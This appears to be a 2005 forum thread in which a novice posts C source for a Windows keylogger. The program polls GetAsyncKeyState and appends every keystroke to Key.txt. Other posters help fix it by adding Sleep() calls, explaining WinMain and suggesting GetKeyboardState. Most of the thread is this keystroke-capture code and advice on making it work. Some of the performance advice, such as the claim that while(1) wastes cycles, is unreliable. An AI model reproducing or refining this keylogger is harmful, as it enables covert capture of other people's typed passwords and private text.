Posted June 19, 200519 yr everytime this program is executed it lags up also it won't work if i use WinMain() instead of main() #include <windows.h> #include <stdio.h> unsigned int list[] = { 1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40, 41,42,43,44,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,59,60, 61,62,63,64,65,66,67,68,69,70, 71,72,73,74,75,76,77,78,79,80, 81,82,83,84,85,86,87,88,89,90, 91,92,93,94,95,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110, 111,112,113,114,115,116,117,118,119,120, 121,122,123,124,125,126,127,128,129,130, 131,132,133,134,135,136,137,138,139,140, 141,142,143,144,145,146,147,148,149,150, 151,152,153,154,155,156,157,158,159,160, 161,162,163,164,165,166,167,168,169,170, 171,172,173,174,175,176,177,178,179,180, 181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197,198,199,200, 201,202,203,204,205,206,207,208,209,210, 211,212,213,214,215,216,217,218,219,220, 221,222,223,224,225,226,227,228,229,230, 231,232,233,234,235,236,237,238,239,240, 241,242,243,244,245,246,247,248,249,250, 251,252,253,254,255,0 }; int main() { int i; FILE *file; file = fopen("Key.txt", "a"); while (1) { for ( i = 0; list[i] != 0; i++ ) { if( GetAsyncKeyState( list[i] ) == -32767 ) { break; } } if ( list[i] == 0 ) { continue; } else { fprintf(file, "%c", list[i]); printf("%c", list[i]); } } fclose(file); return 0; } don't flame me, im new to logging keys
June 19, 200519 yr Are you new to writing code, too? (don't answer that, we already know) You're never breaking out of the while(1) loop. And you can't just change main() to WinMain() and have your console app turn into a Windows app... you kind of need a message loop, a structure that tells windows how to create the window, a winproc function, and a new workspace. Lots of stuff.
June 19, 200519 yr Author int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmd, int nShow) liek that? and no im not new to writting code lol
June 19, 200519 yr You can't use your console application workspace to do a Win32 app (unless your compiler is really strange). http://winprog.org/tutorial/ for win32 crap
June 19, 200519 yr Author i dont think theres anything wrong with DEV C++ but ill try out the tutorial n see if it works
June 19, 200519 yr Fails..

June 19, 200519 yr Waiting a millisecond won't do anything. But.. for ( i = 0; list[i] != 0; i++ ) { if( GetAsyncKeyState( list[i] ) == -32767 ) { break; } } That break never runs. It will go into an infinite function doing absolutely nothing. Kinda sucks doesn't it >.> This code might compile, and might work, but I haven't tested it: char keystate[256] = 0; while(true) { GetKeyboardState(&keystate); // I wasn't sure about passing it by reference. Remove the & if it complains for(int i = 0; i < 256; i++) { // Get the high order bit here. If it is 1, the key is down. Else up // Also if the key is a toggle key like CAPSLOCK, if the low order bit is 1, it is toggled, else not. // If you don't know how to do this, I was in a hurry, so I didn't have time for thinking :P // Now do whatever you want with your info } }
June 19, 200519 yr And you can't just change main() to WinMain() and have your console app turn into a Windows app... you kind of need a message loop, a structure that tells windows how to create the window, a winproc function, and a new workspace. Lots of stuff. You don't need a window or all that other shit with a w32 project either you know. To dark_urza: put a Sleep() call in that loop.
June 20, 200519 yr Yeah, I'm aware, I was just stating that there are alot of differences between a console app and a Win32 app. ViperX, Sleep()ing 1ms (or 10, whatever) as sp0rk and I stated will make a big difference in terms of CPU time. Your post basically restated my first post. :p
June 20, 200519 yr Author the other problem is that whenever a key is pressed, either a symbol or a CAPITAL LETTER appears even if its not suppose to be capital
June 21, 200519 yr sp0rk']You don't need a window or all that other shit with a w32 project either you know. To dark_urza: put a Sleep() call in that loop. 10 points for you sp0rk.... or for standard C++ usleep()
July 27, 200519 yr try this code.. (on, release:) (get_vasseline) ("ohh n0es g0atse") ERROR: undeclared identifier
July 30, 200519 yr dark_urza, When you're writing an infinite loop, as you've done with "while(1)"; Use "for(;;)" instead. Why? Because the constant "1" will be allocated in memory (Or, if you have an optimizing compiler, it _should_ be placed in a register) and the expression will be continuously re-evaluated upon each iteration of the "while" loop, which, if your loop is going to iterate many times you can end up wasting dozens of cycles. But with "for(;;)" there is no allocation, or re-evaluation, and thus; No wasting of cycles. Just a tip. Regards, Matt J.
September 24, 200519 yr if you are writing code in C++, why woud you want to use printf instead of using iostream class objects? i think you are mixing c and c++ up(ive seen a few of your code ). if you want to use c++, use its facilities
September 25, 200519 yr if you are writing code in C++, why woud you want to use printf instead of using iostream class objects? i think you are mixing c and c++ up(ive seen a few of your code ). if you want to use c++, use its facilities Who cares, you're just sending stuff to stdout, how you do it doesn't matter. There isn't REALLY that great a difference between C++ and C anyways. Besides, every cross-platform app I've ever looked at has used stdio instead of iostream. And gj @ bumping a dead discussion.
September 25, 200519 yr Author printf() looks cool plus i dont know why iostream makes the program 400 kbs in size this program id say it would be about...20kb max? way to go bumping and old thread
